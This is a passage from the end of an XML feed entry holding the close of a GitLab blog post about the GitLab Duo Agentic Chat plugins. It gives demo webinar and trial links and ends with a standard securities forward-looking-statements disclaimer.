<p>Users should download the <a href="https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow">VS Code extension</a> or the <a href="https://plugins.jetbrains.com/plugin/22857-gitlab">JetBrains IDEs plugin</a> and follow our <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat">guide to using GitLab Duo Agentic Chat</a>, including Duo Chat <a href="https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands">slash commands</a>.</p>
</li>
</ul>
<p><strong>New to GitLab?</strong> See GitLab Duo Agent Platform in action at our Technical Demo, offered in two timezone-friendly sessions: <a href="https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html">Americas and EMEA</a> and <a href="https://page.gitlab.com/webcasts-jul24-gitlab-duo-agentic-ai-apac.html">Asia-Pacific</a>. To get hands-on with GitLab Duo Agent Platform yourself, sign up for a <a href="https://gitlab.com/-/trials/new?glm_content=default-saas-trial&amp;glm_source=about.gitlab.com%2Fsales%2F">free trial</a> today.</p>
<p>&lt;small&gt;<em>This blog post contains “forward-looking statements” within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934. Although we believe that the expectations reflected in the forward-looking statements contained in this blog post are reasonable, they are subject to known and unknown risks, uncertainties, assumptions and other factors that may cause actual results or outcomes to be materially different from any future results or outcomes expressed or implied by the forward-looking statements.</em></p>
<p><em>Further information on risks, uncertainties, and other factors that could cause actual outcomes and results to differ materially from those included in or contemplated by the forward-looking statements contained in this blog post are included under the caption “Risk Factors” and elsewhere in the filings and reports we make with the Securities and Exchange Commission. We do not undertake any obligation to update or release any revisions to any forward-looking statement or to report any events or circumstances after the date of this blog post or to reflect the occurrence of unanticipated events, except as required by law.</em>&lt;/small&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-07-17T00:00:00.000Z</published>
    </entry>
</feed>